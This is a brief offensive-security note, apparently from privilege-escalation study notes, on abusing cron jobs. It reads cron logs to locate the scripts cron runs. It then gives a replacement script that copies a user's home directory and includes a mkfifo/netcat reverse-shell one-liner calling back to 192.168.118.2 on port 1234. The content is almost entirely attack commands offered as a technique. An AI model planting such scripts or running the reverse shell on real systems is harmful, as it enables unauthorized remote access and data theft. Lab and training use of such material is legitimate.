Abusing cron jobs

cat /var/log/cron.log
grep "CRON" /var/log/syslog

# inspects cronlog file which can reveal locations of scripts.

# replace the script with:

#!/bin/bash
cp -rf /home/joe/ /var/backups/joe/
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f"